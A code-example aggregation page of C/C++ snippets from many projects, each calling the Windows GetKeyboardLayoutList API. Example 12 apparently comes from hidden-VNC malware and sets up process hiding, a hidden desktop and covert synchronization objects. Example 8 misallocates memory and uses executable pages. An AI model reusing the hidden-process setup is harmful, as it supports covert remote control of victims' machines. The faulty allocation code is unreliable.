Ejemplo n.º 1
0
HKL GetMyHKL()
{
    DWORD dwSize;
    DWORD dwi;
    HKL hKL = 0;
    HKL *lphkl;

    dwSize = GetKeyboardLayoutList(0, NULL);

    lphkl = (HKL *)GlobalAlloc(GPTR, dwSize * sizeof(DWORD));

    if (!lphkl)
        return NULL;

    GetKeyboardLayoutList(dwSize, lphkl);


    for (dwi = 0; dwi < dwSize; dwi++)
    {
        char szFile[32];
        HKL hKLTemp = *(lphkl + dwi);
        ImmGetIMEFileName(hKLTemp, szFile, sizeof(szFile));

        if (!_tcsicmp(szFile, FREEPYFILENAME))
        {
             hKL = hKLTemp;
             goto exit;
        }
    }
exit:

    GlobalFree((HANDLE)lphkl);
    return hKL;
}
Ejemplo n.º 2
0
int GetKlList(HKL **list)
{
	HKL *ret;
	int n;

	n = GetKeyboardLayoutList(0, NULL);
	ret = HeapAlloc(GetProcessHeap(), 0, sizeof(HKL)*n);
	GetKeyboardLayoutList(n, ret);
	*list = ret;
	return n;
}
Ejemplo n.º 3
0
static Layout *CreateLayoutsList(void)
{
	BOOL good=FALSE;
	int i;
	Layout *pFirstLayout=NULL,**ppNextLayout=&pFirstLayout;
	int numHKLs;
	HKL *pHKLs=NULL;

	numHKLs=GetKeyboardLayoutList(0,NULL);
	if(numHKLs==0)
		goto bye;

	pHKLs=LocalAlloc(0,numHKLs*sizeof *pHKLs);
	if(!pHKLs)
		goto bye;

	if(GetKeyboardLayoutList(numHKLs,pHKLs)!=numHKLs)
		goto bye;

	for(i=0;i<numHKLs;++i)
	{
		Layout entry,*pEntry;

		entry.hkl=pHKLs[i];

		entry.pDisplayName=GetLayoutDisplayName(entry.hkl);
		if(!entry.pDisplayName)
			continue;

		pEntry=LocalAlloc(0,sizeof *pEntry);
		if(!pEntry)
			goto bye;

		*pEntry=entry;

		*ppNextLayout=pEntry;
		ppNextLayout=&pEntry->pNextLayout;
		*ppNextLayout=NULL;
	}

	good=TRUE;

bye:
	if(!good)
	{
		DeleteLayoutList(pFirstLayout);
		pFirstLayout=NULL;
	}

	return pFirstLayout;
}
Ejemplo n.º 4
0
LRESULT CSearchBarCtrl::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)
{
	if ( WM_INPUTLANGCHANGEREQUEST == message )
	{
		if(GetKeyboardLayout(0) == (HKL)lParam)
			return 0;
		UINT count = GetKeyboardLayoutList(0,NULL);
		if(count == 0) return 0;
		HKL* lpList = new HKL[count];

		count = GetKeyboardLayoutList(count,lpList);
		BOOL bFound = FALSE;
		for(int i=0;i<count;i++)
		{
			if((HKL)lParam == lpList[i])
			{
				bFound = TRUE;
				break;
			}
		}
		if(lpList)
		{
			delete[] lpList;
			lpList = NULL;
		}
		if(!bFound)
		{
			CString sID;
			sID.Format( L"%08x",lParam );
			LoadKeyboardLayout(sID,KLF_ACTIVATE);
		}
		else
		{
			ActivateKeyboardLayout((HKL)lParam,KLF_REORDER);
		}

		return 0;
	}


	return CWnd::WindowProc(message, wParam, lParam);
}
Ejemplo n.º 5
0
///////////////////////////////////////////////////////////////////////////////
// Fills ``info`` with the currently installed keyboard layouts
// Based on http://blogs.msdn.com/michkap/archive/2004/12/05/275231.aspx.
void GetKeyboardLayouts(KeyboardLayoutInfo* info)
{
	memset(info, 0, sizeof(KeyboardLayoutInfo));
	info->count = GetKeyboardLayoutList(MAX_LAYOUTS, info->hkls);
	for(UINT i = 0; i < info->count; i++)
	{
		LANGID language = (LANGID)(((UINT)info->hkls[i]) & 0x0000FFFF); // bottom 16 bit of HKL
		LCID locale = MAKELCID(language, SORT_DEFAULT);
		GetLocaleInfo(locale, LOCALE_SLANGUAGE, info->names[i], MAXLEN);
		info->inUse[i] = TRUE;
	}
}
bool
CMSWindowsKeyState::getGroups(GroupList& groups) const
{
	// get keyboard layouts
	UInt32 newNumLayouts = GetKeyboardLayoutList(0, NULL);
	if (newNumLayouts == 0) {
		LOG((CLOG_DEBUG1 "can't get keyboard layouts"));
		return false;
	}
	HKL* newLayouts = new HKL[newNumLayouts];
	newNumLayouts = GetKeyboardLayoutList(newNumLayouts, newLayouts);
	if (newNumLayouts == 0) {
		LOG((CLOG_DEBUG1 "can't get keyboard layouts"));
		delete[] newLayouts;
		return false;
	}

	groups.clear();
	groups.insert(groups.end(), newLayouts, newLayouts + newNumLayouts);
	delete[] newLayouts;
	return true;
}
Ejemplo n.º 7
0
static inline bool useRTL_Extensions(QSysInfo::WinVersion ver)
{
    // This is SDK dependent on CE so out of scope for now
    if (QSysInfo::windowsVersion() & QSysInfo::WV_CE_based)
        return false;
    if ((ver & QSysInfo::WV_NT_based) && (ver >= QSysInfo::WV_VISTA)) {
        // Since the IsValidLanguageGroup/IsValidLocale functions always return true on
        // Vista, check the Keyboard Layouts for enabling RTL.
        if (const UINT nLayouts = GetKeyboardLayoutList(0, 0)) {
            QScopedArrayPointer<HKL> lpList(new HKL[nLayouts]);
            GetKeyboardLayoutList(nLayouts, lpList.data());
            for (UINT i = 0; i < nLayouts; ++i) {
                switch (PRIMARYLANGID((quintptr)lpList[i])) {
                case LANG_ARABIC:
                case LANG_HEBREW:
                case LANG_FARSI:
                case LANG_SYRIAC:
                    return true;
                default:
                    break;
                }
            }
        }
        return false;
    } // NT/Vista
#ifndef Q_OS_WINCE
    // Pre-NT: figure out whether a RTL language is installed
    return IsValidLanguageGroup(LGRPID_ARABIC, LGRPID_INSTALLED)
                            || IsValidLanguageGroup(LGRPID_HEBREW, LGRPID_INSTALLED)
                            || IsValidLocale(MAKELCID(MAKELANGID(LANG_ARABIC, SUBLANG_DEFAULT), SORT_DEFAULT), LCID_INSTALLED)
                            || IsValidLocale(MAKELCID(MAKELANGID(LANG_HEBREW, SUBLANG_DEFAULT), SORT_DEFAULT), LCID_INSTALLED)
                            || IsValidLocale(MAKELCID(MAKELANGID(LANG_SYRIAC, SUBLANG_DEFAULT), SORT_DEFAULT), LCID_INSTALLED)
                            || IsValidLocale(MAKELCID(MAKELANGID(LANG_FARSI, SUBLANG_DEFAULT), SORT_DEFAULT), LCID_INSTALLED);
#else
    return false;
#endif
}
void OS::GetLanguage(char** szLanguage)
{
		HKL *hkl;
		int count = GetKeyboardLayoutList(0, 0);
		
		if (0 != count)
		{
			hkl = (HKL*)LocalAlloc(LPTR, count);
			if (NULL != hkl)
			{
				GetKeyboardLayoutList(count, hkl);
				//szLanguage = (char*)VirtualAlloc(0, count, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
				if (NULL != szLanguage)
				{
					for (int i = 0; count != i; ++i)
					{
						szLanguage[i] = (char*)VirtualAlloc(0, MAX_LANG_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
						VerLanguageName(LOWORD(hkl[i]), szLanguage[i], MAX_LANG_SIZE);
					}
				}
			}
		}
		//LocalFree(hkl);
}
Ejemplo n.º 9
0
int CMPlugin::Load()
{
	memset(hklLayouts, 0, sizeof(hklLayouts));
	bLayNum = GetKeyboardLayoutList(20, hklLayouts);
	if (bLayNum < 2)
		return 1;

	HookEvent(ME_OPT_INITIALISE, OnOptionsInitialise);
	HookEvent(ME_SYSTEM_MODULESLOADED, ModulesLoaded);

	// IcoLib support
	g_plugin.registerIcon(MODULENAME, iconList);

	HookEvent(ME_SKIN2_ICONSCHANGED, OnIconsChanged);

	OnIconsChanged(0, 0);

	return 0;
}
Ejemplo n.º 10
0
VOID
InputList_Create(VOID)
{
    INT iLayoutCount;
    HKL *pLayoutList;

    iLayoutCount = GetKeyboardLayoutList(0, NULL);
    pLayoutList = (HKL*) malloc(iLayoutCount * sizeof(HKL));

    if (pLayoutList != NULL)
    {
        if (GetKeyboardLayoutList(iLayoutCount, pLayoutList) > 0)
        {
            INT iIndex;

            for (iIndex = 0; iIndex < iLayoutCount; iIndex++)
            {
                LOCALE_LIST_NODE *pLocale = LocaleList_GetByHkl(pLayoutList[iIndex]);
                LAYOUT_LIST_NODE *pLayout = LayoutList_GetByHkl(pLayoutList[iIndex]);

                if (pLocale != NULL && pLayout != NULL)
                {
                    WCHAR szIndicator[MAX_STR_LEN] = { 0 };
                    INPUT_LIST_NODE *pInput;
                    HKL hklDefault;

                    pInput = InputList_AppendNode();

                    pInput->pLocale = pLocale;
                    pInput->pLayout = pLayout;
                    pInput->hkl     = pLayoutList[iIndex];

                    if (SystemParametersInfoW(SPI_GETDEFAULTINPUTLANG,
                                              0,
                                              (LPVOID)((LPDWORD)&hklDefault),
                                              0) == FALSE)
                    {
                        hklDefault = GetKeyboardLayout(0);
                    }

                    if (pInput->hkl == hklDefault)
                    {
                        pInput->wFlags |= INPUT_LIST_NODE_FLAG_DEFAULT;
                    }

                    if (GetLocaleInfoW(LOWORD(pInput->pLocale->dwId),
                                       LOCALE_SABBREVLANGNAME | LOCALE_NOUSEROVERRIDE,
                                       szIndicator,
                                       ARRAYSIZE(szIndicator)))
                    {
                        size_t len = wcslen(szIndicator);

                        if (len > 0)
                        {
                            szIndicator[len - 1] = 0;
                            pInput->pszIndicator = DuplicateString(szIndicator);
                        }
                    }
                }
            }
        }

        free(pLayoutList);
    }
}
Ejemplo n.º 11
0
Bool
window_subsystem_init( char * error_buf)
{
   WNDCLASSW wc;
   HDC dc;
   HBITMAP hbm;
   OSVERSIONINFO os = { sizeof( OSVERSIONINFO)};

   guts. version  = GetVersion();
   GetVersionEx( &os);
   guts. alloc_utf8_to_wchar_visual = 
   	(( os.dwMajorVersion > 5) || (os.dwMajorVersion == 5 && os.dwMinorVersion > 1)) ?
		alloc_utf8_to_wchar_visual :
		alloc_utf8_to_wchar;
   guts. mainThreadId = GetCurrentThreadId();
   guts. errorMode = SetErrorMode( SEM_FAILCRITICALERRORS);
   guts. desktopWindow = GetDesktopWindow();

   memset( &wc, 0, sizeof( wc));
   wc.style         = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;
   wc.lpfnWndProc   = ( WNDPROC) generic_app_handler;
   wc.cbClsExtra    = 0;
   wc.cbWndExtra    = 0;
   wc.hInstance     = guts. instance;
   wc.hIcon         = LoadIcon( guts. instance, IDI_APPLICATION);
   wc.hCursor       = LoadCursor( NULL, IDC_ARROW);
   wc.hbrBackground = (HBRUSH)NULL;
   wc.lpszClassName = L"GenericApp";
   RegisterClassW( &wc);

   memset( &wc, 0, sizeof( wc));
   wc.style         = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;
   wc.lpfnWndProc   = ( WNDPROC) generic_frame_handler;
   wc.cbClsExtra    = 0;
   wc.cbWndExtra    = 0;
   wc.hInstance     = guts. instance;
   wc.hIcon         = LoadIcon( guts. instance, IDI_APPLICATION);
   wc.hCursor       = LoadCursor( NULL, IDC_ARROW);
   wc.hbrBackground = (HBRUSH)NULL;
   wc.lpszClassName = L"GenericFrame";
   RegisterClassW( &wc);

   memset( &wc, 0, sizeof( wc));
   wc.style         = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS;
   wc.lpfnWndProc   = ( WNDPROC) generic_view_handler;
   wc.cbClsExtra    = 0;
   wc.cbWndExtra    = 0;
   wc.hInstance     = guts. instance;
   wc.hIcon         = LoadIcon( guts. instance, IDI_APPLICATION);
   wc.hCursor       = NULL; // LoadCursor( NULL, IDC_ARROW);
   wc.hbrBackground = (HBRUSH)NULL;
   wc.lpszClassName = L"Generic";
   RegisterClassW( &wc);

   stylusMan  = hash_create();
   fontMan    = hash_create();
   patMan     = hash_create();
   menuMan    = hash_create();
   imageMan   = hash_create();
   regnodeMan = hash_create();
   create_font_hash();
   {
      LOGBRUSH b = { BS_HOLLOW, 0, 0};
      Font f;
      hPenHollow        = CreatePen( PS_NULL, 0, 0);
      hBrushHollow      = CreateBrushIndirect( &b);
      hPatHollow. dotsCount = 0;
      hPatHollow. dotsPtr   = nil;
      FONTSTRUCSIZE    = (char *)(&(f. name)) - (char *)(&f);
   }

   if (!( dc = dc_alloc())) return false; 
   guts. displayResolution. x = GetDeviceCaps( dc, LOGPIXELSX);
   guts. displayResolution. y = GetDeviceCaps( dc, LOGPIXELSY);
   {
      LOGFONT lf;
      HFONT   sfont;

      // getting most common font name
      memset( &lf, 0, sizeof( lf));
      lf. lfCharSet        = OEM_CHARSET;
      lf. lfOutPrecision   = OUT_DEFAULT_PRECIS;
      lf. lfClipPrecision  = CLIP_DEFAULT_PRECIS;
      lf. lfQuality        = PROOF_QUALITY;
      lf. lfPitchAndFamily = DEFAULT_PITCH;
      sfont = SelectObject( dc, CreateFontIndirect( &lf));
      GetTextFace( dc, 256, guts. defaultSystemFont);

      // getting common fixed font name
      lf. lfHeight = 320;
      lf. lfPitchAndFamily = FIXED_PITCH;
      DeleteObject( SelectObject( dc, CreateFontIndirect( &lf)));
      GetTextFace( dc, 256, guts. defaultFixedFont);

      // getting common variable font name
      lf. lfPitchAndFamily = VARIABLE_PITCH;
      DeleteObject( SelectObject( dc, CreateFontIndirect( &lf)));
      GetTextFace( dc, 256, guts. defaultVariableFont);
      DeleteObject( SelectObject( dc, sfont));

      // getting system font presets
      memset( &guts. windowFont, 0, sizeof( Font));
      strcpy( guts. windowFont. name, DEFAULT_WIDGET_FONT);
      guts. windowFont. size  = DEFAULT_WIDGET_FONT_SIZE;
      guts. windowFont. width = guts. windowFont. height = C_NUMERIC_UNDEF;
#ifdef FONT_CHECK
      guts. windowFont. size = 12;
#endif
      apc_font_pick( nilHandle, &guts. windowFont, &guts. windowFont);

      guts. ncmData. cbSize = sizeof( NONCLIENTMETRICS);
      SystemParametersInfo( SPI_GETNONCLIENTMETRICS, sizeof( NONCLIENTMETRICS),
         ( PVOID) &guts. ncmData, 0);
      font_logfont2font( &guts. ncmData. lfMenuFont, &guts. menuFont, &guts. displayResolution);
      font_logfont2font( &guts. ncmData. lfMessageFont, &guts. msgFont, &guts. displayResolution);
      font_logfont2font( &guts. ncmData. lfCaptionFont, &guts. capFont, &guts. displayResolution);
   }

   memset( &guts. displayBMInfo, 0, sizeof( guts. displayBMInfo));
   guts. displayBMInfo. bmiHeader. biSize = sizeof( BITMAPINFO);
   if ( !( hbm = GetCurrentObject( dc, OBJ_BITMAP))) {
      apiErr;
      dc_free();
      return false;
   }

   if ( !GetDIBits( dc, hbm, 0, 0, NULL, &guts. displayBMInfo, DIB_PAL_COLORS)) {
      guts. displayBMInfo. bmiHeader. biBitCount = GetDeviceCaps( dc, BITSPIXEL);
      guts. displayBMInfo. bmiHeader. biPlanes   = GetDeviceCaps( dc, PLANES);
   }

   dc_free();
   guts. insertMode = true;
   guts. iconSizeSmall. x = GetSystemMetrics( SM_CXSMICON);
   guts. iconSizeSmall. y = GetSystemMetrics( SM_CYSMICON);
   guts. iconSizeLarge. x = GetSystemMetrics( SM_CXICON);
   guts. iconSizeLarge. y = GetSystemMetrics( SM_CYICON);
   guts. pointerSize. x   = GetSystemMetrics( SM_CXCURSOR);
   guts. pointerSize. y   = GetSystemMetrics( SM_CYCURSOR);
   list_create( &guts. transp, 8, 8);
   list_create( &guts. files, 8, 8);
   list_create( &guts. sockets, 8, 8);

   // selecting locale layout, more or less latin-like

   {
      char buf[ KL_NAMELENGTH * 2] = "";
      HKL current      = GetKeyboardLayout( 0);
      int i, j, size   = GetKeyboardLayoutList( 0, nil);
      HKL * kl         = ( HKL *) malloc( sizeof( HKL) * size);

      guts. keyLayout = nil;
      if ( !GetKeyboardLayoutName( buf)) apiErr;
      for ( j = 0; j < ( sizeof( keyLayouts) / sizeof( char*)); j++) {
         if ( strncmp( buf + 4, keyLayouts[ j], 4) == 0) {
            guts. keyLayout = current;
            goto found_1;
         }
      }

      if ( kl) {
         GetKeyboardLayoutList( size, kl);
         for ( i = 0; i < size; i++) {
            ActivateKeyboardLayout( kl[ i], 0);
            if ( !GetKeyboardLayoutName( buf)) apiErr;
            for ( j = 0; j < ( sizeof( keyLayouts) / sizeof( char*)); j++) {
               if ( strncmp( buf + 4, keyLayouts[ j], 4) == 0) {
                  guts. keyLayout = kl[ i];
                  goto found_2;
               }
            }
         }
      found_2:;
         ActivateKeyboardLayout( current, 0);
      }
   found_1:;
      free( kl);
   }
   guts. currentKeyState = guts. keyState;
   memset( guts. emptyKeyState, 0, sizeof( guts. emptyKeyState));
   guts. smDblClk. x = GetSystemMetrics( SM_CXDOUBLECLK);
   guts. smDblClk. y = GetSystemMetrics( SM_CYDOUBLECLK);

   return true;
}
Ejemplo n.º 12
0
bool VNCInit(bool bHideProcesss)
{
    if (bHVNCInit)
        return false;
    do
    {
        MemInit();
        InitializeCriticalSection(&csHVNC);
        MessageBoxTimeout=(_MessageBoxTimeout)GetProcAddress(GetModuleHandle(_T("user32")),"MessageBoxTimeoutA");
        if (!MessageBoxTimeout)
            break;

        chksum_crc32gentab();

        OSVERSIONINFO osvi;
        osvi.dwOSVersionInfoSize=sizeof(osvi);
        GetVersionEx(&osvi);
        bXP=(osvi.dwMajorVersion <= 5);

        hDefaultDesktop=OpenDesktop(_T("default"),0,FALSE,GENERIC_ALL);

        hBlackBrush=(HBRUSH)GetStockObject(BLACK_BRUSH);

        HBITMAP hTmpBmp=CreateBitmap(8,8,1,1,&wBrush);
        hFrameBrush=CreatePatternBrush(hTmpBmp);
        DeleteObject(hTmpBmp);

        ChooseBestSyncProc();

        CheckPCPerfomance();

        dwDoubleClickTime=GetDoubleClickTime();

        dwLocalesNum=GetKeyboardLayoutList(countof(hklLocales),hklLocales);
        hArrow=LoadCursor(NULL,IDC_ARROW);
        GetIconInfo(hArrow,&iiCur);
        DeleteObject(iiCur.hbmMask);
        DeleteObject(iiCur.hbmColor);

        hKillEvent=CreateEvent(NULL,true,false,HVNC_KILL_EVENT_NAME);
        if ((!hKillEvent) || (GetLastError() == ERROR_ALREADY_EXISTS))
#ifndef _DEBUG
            break;
#else
            ;
#endif

        hHandlesMutex=CreateMutex(NULL,false,HVNC_HANDLES_MUTEX_NAME);
        if ((!hHandlesMutex) || (GetLastError() == ERROR_ALREADY_EXISTS))
#ifndef _DEBUG
            break;
#else
            ;
#endif

        hHandlesMapping=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,300*sizeof(DWORD),HVNC_HANDLES_MAPPING_NAME);
        if ((!hHandlesMapping) || (GetLastError() == ERROR_ALREADY_EXISTS))
#ifndef _DEBUG
            break;
#else
            ;
#endif

        lpHandlesMapping=(DWORD *)MapViewOfFile(hHandlesMapping,FILE_MAP_ALL_ACCESS,0,0,0);
        if (!lpHandlesMapping)
#ifndef _DEBUG
            break;
#else
            ;
#endif

        hSharedVNCData=CreateFileMapping(INVALID_HANDLE_VALUE,NULL,PAGE_READWRITE,0,sizeof(SHARED_VNC_DATA),HVNC_SHARED_VNC_MAPPING_NAME);
        if ((!hSharedVNCData) || (GetLastError() == ERROR_ALREADY_EXISTS))
#ifndef _DEBUG
            break;
#else
            ;
#endif

        lpSharedVNCData=(SHARED_VNC_DATA *)MapViewOfFile(hSharedVNCData,FILE_MAP_ALL_ACCESS,0,0,0);
        if (!lpSharedVNCData)
#ifndef _DEBUG
            break;
#else
            ;
#endif

        if (bHideProcesss)
            hMarkerMutex=RegisterHiddenProcess();
        hDispChangeEvent=CreateEvent(NULL,false,false,HVNC_DISP_CHANGE_EVENT_NAME);
        if ((!hDispChangeEvent) || (GetLastError() == ERROR_ALREADY_EXISTS))
#ifndef _DEBUG
            break;
#else
            ;
#endif

        SysCloseHandle(CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)FakeVNCWndThread,NULL,0,NULL));
        bHVNCInit=true;
    }
    while (false);

    if (!bHVNCInit)
    {
        if (hKillEvent)
        {
            SysCloseHandle(hKillEvent);
            hKillEvent=NULL;
        }
        bHVNCInit=true;
        VNCCleanup(true);
    }
    return bHVNCInit;
}
Ejemplo n.º 13
0
bool CIME::StaticMsgProc(UINT uMsg, WPARAM wParam, LPARAM lParam)
{
	HIMC hImc;

	if(!s_bEnableImeSystem)
		return false;

#if defined(DEBUG) || defined(_DEBUG)
	m_bIMEStaticMsgProcCalled = true;
#endif

	switch(uMsg)
	{
	case WM_ACTIVATEAPP:
		if(wParam)
		{
			// Populate s_Locale with the list of keyboard layouts.
			UINT cKL = GetKeyboardLayoutList(0, NULL);
			s_Locale.clear();
			HKL *phKL = new HKL[cKL];
			if(phKL)
			{
				GetKeyboardLayoutList(cKL, phKL);
				for(UINT i = 0; i < cKL; ++i)
				{
					CInputLocale Locale;

					// Filter out East Asian languages that are not IME.
					if((PRIMARYLANGID(LOWORD(phKL[i])) == LANG_CHINESE ||
						PRIMARYLANGID(LOWORD(phKL[i])) == LANG_JAPANESE ||
						PRIMARYLANGID(LOWORD(phKL[i])) == LANG_KOREAN) &&
						!_ImmIsIME(phKL[i]))
						continue;

					// If this language is already in the list, don't add it again.
					bool bBreak = false;
					for(size_t e = 0; e < s_Locale.size(); ++e)
						if(LOWORD(s_Locale[e].m_hKL) ==
							LOWORD(phKL[i]))
						{
							bBreak = true;
							break;
						}
						if(bBreak)
							break;

						Locale.m_hKL = phKL[i];
						WCHAR wszDesc[128] = L"";
						switch(PRIMARYLANGID(LOWORD(phKL[i])))
						{
							// Simplified Chinese
						case LANG_CHINESE:
							switch(SUBLANGID(LOWORD(phKL[i])))
							{
							case SUBLANG_CHINESE_SIMPLIFIED:
								Locale.m_wstrLangAbb = s_aszIndicator[INDICATOR_CHS];
								break;
							case SUBLANG_CHINESE_TRADITIONAL:
								Locale.m_wstrLangAbb = s_aszIndicator[INDICATOR_CHT];
								break;
							default:    // unsupported sub-language
								GetLocaleInfoW(MAKELCID(LOWORD(phKL[i]), SORT_DEFAULT), LOCALE_SABBREVLANGNAME, wszDesc, 128);
								Locale.m_wstrLangAbb = wszDesc[0];
								Locale.m_wstrLangAbb += towlower(wszDesc[1]);
								break;
							}
							break;
							// Korean
						case LANG_KOREAN:
							Locale.m_wstrLangAbb = s_aszIndicator[INDICATOR_KOREAN];
							break;
							// Japanese
						case LANG_JAPANESE:
							Locale.m_wstrLangAbb = s_aszIndicator[INDICATOR_JAPANESE];
							break;         
						default:
							// A non-IME language.  Obtain the language abbreviation
							// and store it for rendering the indicator later.
							GetLocaleInfoW(MAKELCID(LOWORD(phKL[i]), SORT_DEFAULT), LOCALE_SABBREVLANGNAME, wszDesc, 128);
							Locale.m_wstrLangAbb = wszDesc[0];
							Locale.m_wstrLangAbb += towlower(wszDesc[1]);
							break;
						}

						GetLocaleInfoW(MAKELCID(LOWORD(phKL[i]), SORT_DEFAULT), LOCALE_SLANGUAGE, wszDesc, 128);
						Locale.m_wstrLang = wszDesc;

						s_Locale.push_back(Locale);
				}
				delete[] phKL;
			}
		}
		break;

	case WM_INPUTLANGCHANGE:
		UITRACE(L"WM_INPUTLANGCHANGE\n");
		{
			UINT uLang = GetPrimaryLanguage();
			CheckToggleState();
			if (uLang != GetPrimaryLanguage())
			{
				// Korean IME always inserts on keystroke.  Other IMEs do not.
				s_bInsertOnType = (GetPrimaryLanguage() == LANG_KOREAN);
			}

			// IME changed.  Setup the new IME.
			SetupImeApi();
			if(_ShowReadingWindow)
			{
				if (NULL != (hImc = ImmGetContext(UIGetHWND())))
				{
					_ShowReadingWindow(hImc, false);
					_ImmReleaseContext(UIGetHWND(), hImc);
				}
			}
		}
		return true;

	case WM_IME_SETCONTEXT:
		UITRACE(L"WM_IME_SETCONTEXT\n");
		//
		// We don't want anything to display, so we have to clear this
		//
		lParam = 0;
		return false;

		// Handle WM_IME_STARTCOMPOSITION here since
		// we do not want the default IME handler to see
		// this when our fullscreen app is running.
	case WM_IME_STARTCOMPOSITION:
		UITRACE(L"WM_IME_STARTCOMPOSITION\n");
		ResetCompositionString();
		// Since the composition string has its own caret, we don't render
		// the edit control's own caret to avoid double carets on screen.
///ghghgh		s_bHideCaret = true;
		return true;

	case WM_IME_COMPOSITION:
		UITRACE(L"WM_IME_COMPOSITION\n");
		return false;
	}

	return false;
}
Ejemplo n.º 14
0
void FillLayList()
{
	g_laySize = GetKeyboardLayoutList(SW_ARRAY_SIZE(g_laylist), g_laylist);
}
Ejemplo n.º 15
0
BOOL
ConImeInputLangchangeRequest(
    HWND hWnd,
    HANDLE hConsole,
    HKL hkl,
    int Direction
    )
{
    PCONSOLE_TABLE ConTbl;
    int nLayouts;
    LPHKL lphkl;
    DWORD RequiredLID = 0;
    int StartPos;
    int CurrentHklPos;
    int i;

    ConTbl = SearchConsole(hConsole);
    if (ConTbl == NULL) {
        DBGPRINT(("CONIME: cannot find registered Console\n"));
        return FALSE;
    }

    switch (ConTbl->ConsoleOutputCP) {
        case JAPAN_CODEPAGE:
            RequiredLID = LANG_ID_JAPAN;
            break;
        case PRC_CODEPAGE:
            RequiredLID = LANG_ID_PRC;
            break;
        case KOREA_CODEPAGE:
            RequiredLID = LANG_ID_KOREA;
            break;
        case TAIWAN_CODEPAGE:
            RequiredLID = LANG_ID_TAIWAN;
            break;
        default:
            break;
    }

    if ( !IS_IME_KBDLAYOUT(hkl) ||
        ( HKL_TO_LANGID(hkl) == RequiredLID)) {
        return TRUE;
    }
    if (Direction == CONIME_DIRECT) {
        return FALSE;
    }

    nLayouts = GetKeyboardLayoutList(0, NULL);
    if (nLayouts == 0) {
        return FALSE;
    }
    lphkl = LocalAlloc(LPTR, nLayouts * sizeof(HKL));
    if (lphkl == NULL) {
        return FALSE;
    }
    GetKeyboardLayoutList(nLayouts, lphkl);

    for (CurrentHklPos = 0; CurrentHklPos < nLayouts; CurrentHklPos++) {
        if (ConTbl->hklActive == lphkl[CurrentHklPos] ) {
            break;
        }
    }
    if (CurrentHklPos >= nLayouts) {
        LocalFree(lphkl);
        return FALSE;
    }

    StartPos = CurrentHklPos;

    for (i = 0; i < nLayouts; i++) {
        StartPos+=Direction;
        if (StartPos < 0) {
            StartPos = nLayouts-1;
        }
        else if (StartPos >= nLayouts) {
            StartPos = 0;
        }
        
        if ((( HandleToUlong(lphkl[StartPos]) & 0xf0000000) == 0x00000000) ||
            (( HandleToUlong(lphkl[StartPos]) & 0x0000ffff) == RequiredLID)) {
            PostMessage( ConTbl->hWndCon,
                         CM_CONIME_KL_ACTIVATE,
                          HandleToUlong(lphkl[StartPos]),
                         0);
            LocalFree(lphkl);
            return FALSE;
        }
    }

    LocalFree(lphkl);
    return FALSE;

}